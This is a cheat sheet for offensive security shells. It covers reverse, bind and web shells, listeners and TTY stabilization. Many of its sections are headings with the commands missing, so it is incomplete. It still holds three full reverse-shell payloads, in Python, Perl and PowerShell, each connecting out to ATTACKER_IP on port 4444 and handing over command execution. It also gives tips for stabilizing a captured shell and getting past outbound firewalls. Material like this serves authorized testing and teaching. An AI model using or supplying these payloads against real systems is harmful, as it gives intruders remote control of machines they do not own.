Shells
Executive Summary
Shells provide command execution on a target system. The most common types are reverse shells, bind shells, web shells, and upgraded interactive shells.
Use this cheatsheet for quick payload syntax, listeners, and shell stabilization.
Shell Types
| Type | Description |
|---|---|
| Reverse shell | Target connects back to attacker |
| Bind shell | Target listens; attacker connects to target |
| Web shell | Command execution through a web-accessible script |
| Interactive shell | Shell with better terminal behavior and job control |
| Meterpreter shell | Metasploit-managed post-exploitation session |
Netcat Listener
Start listener:
Ncat listener:
Listen with rlwrap:
Linux Reverse Shells
Bash:
Bash alternative:
Netcat with -e:
Netcat without -e:
Python:
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
PHP:
Perl:
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
Windows Reverse Shells
PowerShell TCP client:
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1 | Out-String);$sendback2=$sendback + "PS " + (pwd).Path + "> ";$sendbyte=([Text.Encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}
PowerShell download and execute:
Bind Shells
Linux Netcat bind shell with -e:
Linux Netcat bind shell without -e:
Connect to bind shell:
Web Shells
PHP web shell:
Use it:
PHP POST web shell:
ASPX basic command execution:
Shell Stabilization
Spawn TTY:
Background shell:
Set terminal:
Fix terminal:
Set environment:
Set rows and columns:
Find local terminal size:
Upgrade with Script
Useful Post-Shell Commands
Linux:
Windows:
Common Problems
| Problem | Fix |
|---|---|
| No prompt | Press Enter or run python3 -c 'import pty; pty.spawn("/bin/bash")' |
| CTRL+C kills shell | Stabilize TTY with stty raw -echo; fg |
| Arrow keys broken | Set TERM=xterm |
| Commands hang | Check firewall, listener, or shell payload |
| No outbound connection | Try common ports like 80, 443, or 53 |
Netcat lacks -e |
Use named pipe payload |
Notes
- Reverse shells are usually more reliable than bind shells.
- Bind shells are often blocked by inbound firewall rules.
- Web shells depend on web server permissions.
- Stabilize Linux shells before running interactive tools.
- Use authorized lab and assessment environments only.